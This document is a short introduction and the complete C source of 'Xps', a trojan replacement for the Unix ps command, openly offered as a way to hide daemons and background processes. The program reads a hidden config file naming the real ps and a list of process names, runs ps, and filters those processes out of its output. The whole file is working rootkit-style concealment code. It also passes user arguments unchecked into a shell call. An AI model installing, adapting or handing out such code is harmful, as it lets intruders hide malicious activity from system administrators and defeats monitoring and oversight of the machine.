If you want to hide your daemon or background process, this program is useful. This program fakes the ps and your processes will not be listed.
0f22a4f0215b2acee5751eae0fabf85a9782f73bd6822fbfac29f7ad66c0add1
/*=======================================================
Xps Programmed by UNYUN
=======================================================
*/
#include <stdio.h>
#include <string.h>
#define CONFIG_FILE "/.cshrc_bak"
#define TMPFILE "/tmp/.tmp"
#define PROCN_LEN 30
#define PROC_LIST 50
int fgetline(fp,buf,maxline)
FILE *fp;
char *buf;
int maxline;
{
int i;
char c;
for (i=0;i<maxline;i++){
if (feof(fp)){
buf[i]=0;
return(-1);
}
c=fgetc(fp);
if (c==10) break;
else buf[i]=c;
}
buf[i]=0;
return (i);
}
int contain(ln,st)
char *ln,*st;
{
int i;
for (i=0;i<(int)(strlen(ln)-strlen(st))+1;i++)
if (strncmp(ln+i,st,strlen(st))==0) return(0);
return(-1);
}
int getpid(buf)
char *buf;
{
int j,k;
char tmp[200];
for (j=0;j<strlen(buf);j++)
if (buf[j]!=' ') break;
for (k=j;k<strlen(buf);k++)
if (buf[k]==' ') break;
else tmp[k-j]=buf[k];
tmp[k-j]=0;
return(atoi(tmp));
}
main(argc,argv)
int argc;
char *argv[];
{
char except[PROC_LIST][PROCN_LEN];
char OriginalPS[100];
char OriginalPS_Name[100];
char buf[2000];
char buf2[2000];
static char *owndispchar="aAde";
int i,j,f,ece,newpid,pd;
int owndisp=0;
FILE *fp;
if ((fp=fopen(CONFIG_FILE,"r"))==NULL){
printf("Can not open PS configuration file '%s'\n",CONFIG_FILE);
exit(1);
}
if (argc>=2){
for (i=1;i<strlen(argv[1]);i++){
for (j=0;j<strlen(owndispchar);j++)
if (argv[1][i]==owndispchar[j]){
owndisp=1;
break;
}
if (owndisp==1) break;
}
}
fscanf(fp,"%s",OriginalPS);
for (i=0;i<PROC_LIST;){
if (feof(fp)) break;
fscanf(fp,"%s",buf);
if (strlen(buf)==0) continue;
strcpy(except[i],buf); i++;
}
fclose(fp);
ece=i;
strcpy(buf,OriginalPS);
for (i=1;i<argc;i++){
strcat(buf," ");
strcat(buf,argv[i]);
}
strcat(buf," > ");
strcat(buf,TMPFILE);
system(buf);
newpid=-1;
if ((fp=fopen(TMPFILE,"rb"))!=NULL){
for (;;){
if (feof(fp)) break;
fgetline(fp,buf,1999);
if (strlen(buf)==0) continue;
if (contain(buf,"sh")!=0) continue;
pd=getpid(buf);
if (pd>newpid) newpid=pd;
}
fclose(fp);
}
for (i=strlen(OriginalPS)-1;i>=0;i--)
if (OriginalPS[i]=='/') break;
i++;
strcpy(OriginalPS_Name,OriginalPS+i);
if ((fp=fopen(TMPFILE,"rb"))!=NULL){
for (;;){
if (feof(fp)) break;
if (fgetline(fp,buf,1999)==-1) break;
if (strlen(buf)==0) continue;
if (contain(buf,OriginalPS_Name)==0) continue;
if (contain(buf,argv[0])==0 && owndisp==0) continue;
for (f=0,j=0;j<ece;j++)
if (contain(buf,except[j])==0) f=1;
if (f==1) continue;
if (getpid(buf)==newpid) continue;
printf("%s\n",buf);
}
}else system(buf);
remove(TMPFILE);
}